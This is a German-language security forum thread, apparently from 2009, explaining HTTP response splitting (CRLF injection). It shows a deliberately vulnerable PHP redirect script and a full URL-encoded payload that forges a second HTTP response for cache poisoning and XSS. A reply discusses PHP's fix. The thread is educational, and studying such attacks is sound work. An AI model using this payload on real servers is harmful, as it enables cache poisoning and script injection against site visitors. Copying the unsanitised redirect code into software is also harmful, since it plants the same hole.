Ergebnis 1 bis 2 von 2
  1. #1
    Stanley Jobson Avatar von Lidloses_Auge
    Registriert seit
    05.01.2007
    Beiträge
    750

    Standard HTTP Response Splitting - CRLF oder Header Injection

    Eine etwas in Vergessenheit geratene Art von Web- basierten Sicherheitslücken ist
    der sogenannte "HTTP Response Splitting" Angriff. Er wird auch oftmals als
    "HTTP Header Injection" oder "CRLF Injection" bezeichnet.

    Einleiten möchte ich diesen Artikel mit einem kleinen Beispiel einer simplen Weiterleitung:

    Angenommen wir haben folgendes kleines Script:

    Code:
    <?php
    header("Location: ".$_GET['page']);
    ?>
    Es tut nichts anderes, als die Seite weiterzuleiten auf den GET Parameter.
    Ein Aufruf könnte z.B. so aussehen:

    Code:
    127.0.0.1/forward.php?page=http://www.google.de
    Betrachtet man die jeweiligen Request und Answer Header wird dies in etwa (hier vereinfacht) so aussehen:

    Code:
    GET /forward.php?page=http://www.google.de HTTP/1.1
    Host: 127.0.0.1
    Keep-Alive: 300
    Connection: keep-alive
    
    HTTP/1.1 302 Found
    Date: Wed, 19 Aug 2009 12:50:14 GMT
    Server: Apache
    Location: http://www.google.de
    Content-Type: text/html
    
    GET / HTTP/1.1
    Host: www.google.de
    Keep-Alive: 300
    Connection: keep-alive
    
    HTTP/1.1 200 OK
    Date: Wed, 19 Aug 2009 12:51:41 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    Content-Type: text/html; charset=ISO-8859-1
    Server: gws
    Transfer-Encoding: chunked
    Wie zu erkennen, wird zunächst ein Request an der Weiterleitungsskript gestartet, und die
    gewünschte URL übergeben. Der Server Antwortet nicht etwa mit dem Statuscode 200 (OK)
    sondern mit 302 (Found)
    Dies impliziert eine temporäre Weiterleitung.

    Am Location-Feld des ersten Antwort Headers erkennt man die gewünschte Adresse, auf die weitergeleitet
    werden soll.
    Dementsprechend wird ein zweites Request gestartet, in diesem Beispiel an Google, bei dem der Server
    ganz normal mit einem 200 OK antwortet, und den Inhalt anzeigt.

    Wir wollen unser Augenmerk nicht auf die Weiterleitung ansich legen, sondern auf die Tatsache, dass
    wir Einfluss darauf haben, was im Location Feld vorzufinden ist.

    Laut HTTP Spezifikation muss jedes Feld des Headers mit einem Carriage Return (CR) und einem
    Line Feed (LF) enden. Dies ist ein Zeilenumbruch, der auch als \r\n oder %0d%0a geschrieben werden
    kann.
    Macht man sich diese Tatsache zunutze, kann man aus dem Feld, sofern man Einfluss darauf hat, ausbrechen.

    Die Technik beim HTTP Response Splitting besteht im kompromittieren eines Proxy- oder Cacheservers,
    der dem Webserver vorgeschaltet ist.
    Hierzu generiert man 2 verschiedene Antworten, die vom Cache unterschiedlich interpretiert werden.

    Ein kleines Beispiel:

    Code:
    127.0.0.1/forward.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0a<html>CRLF Injection</html>
    Da dies in dieser Form sehr kryptisch aussieht, möchte ich es kurz anders darstellen:


    Code:
    Content-Length: 0
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 27
    
    <html>CRLF Injection</html>
    Was bedeutet dies nun für unsere Request/Response Ausgabe?

    Code:
    GET /forward.php?page=download%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0a<html>CRLF Injection</html> HTTP/1.1
    Host: 127.0.0.1
    Keep-Alive: 300
    Connection: keep-alive
    
    HTTP/1.1 302 Found
    Date: Wed, 19 Aug 2009 12:50:14 GMT
    Server: Apache
    Location:
    Content-Length: 0
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 27
    
    <html>CRLF Injection</html>
    Content-Type: text/html
    Wie wir erkennen, existieren nun 2 Responses zu einem einzigen Request.
    Die erste Antwort ist die vom Webserver generierte, mit dem Statuscode 302.
    Die zweite Antwort haben wir vollständig selbst generiert, und bei Erfolg
    sollte bereits jetzt eine weiße Seite mit unserem Content erscheinen.

    Bis jetzt ist diese Methode Clientseitig, könnte also als XSS genutzt werden,
    doch ist es möglich, das ganze noch weiterzuführen.

    Wenn wir ein zweites Request über die gleiche Verbindung absetzen, z.b. auf:

    Code:
    127.0.0.1/index.php
    So ordnet der Cache Server diesem zweiten Request die von uns generierte zweite Antwort zu,
    sodass der Inhalt dessen in den Cache einfließt.

    Dieses Verhalten wird auch als Cross-User-Defacement oder Web Cache Poisoning bezeichnet, und weiterhin
    ist es möglich Second-Order-XSS einzuschleusen, also persistente serverseitige Attacken.

    Es gibt zahlreiche Methoden, den Cache dazu zu bringen, die aufgerufene Seite zu cachen, auf die
    ich hier nicht weiter eingehe.

    Es ist wichtig zu erwähnen, dass ab den PHP Versionen 4.4.2 und 5.1.2 die header() Funktion
    gefixed wurde, und es nicht mehr möglich ist, einen Header mit mehreren Zeilen zu senden.

    Sofern Erfahrungen mit Cache Poisoning vorhanden sind,
    wäre ich über Gesprächsthemen diesbezüglich nicht abgeneigt.

    Einen schönen Sommertag wünscht Lidloses_Auge
    Quelle: http://www.novusec.com

  2. #2
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Zitat Zitat von Lidloses_Auge
    Einen schönen Sommertag wünscht Lidloses_Auge
    Das nehme ich Dir jetzt - nicht - übel . Viel zu heiß draußen . Aber danke .

    Zitat Zitat von php.net
    4.4.2 and 5.1.2 This function now prevents more than one header to be sent at once as a protection against header injection attacks.
    Klingt natürlich, wie Du schon erwähnt hast nicht sonderlich toll... Dann muss ich ja dringend eine ältere PHP-Version aufn localhost aufspielen, um das mal auszuprobieren.
    Wobei ich ehrlich gesagt nicht glaube, dass jemand noch eine PHP-Version unter 4.4.2 oder unter 5.1.2 nutzt.

    Danke für die interessante Erläuterung, weiter so.
    Geändert von VeN0m (20.08.2009 um 12:18 Uhr)
    Come to the dark side - We have cookies

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •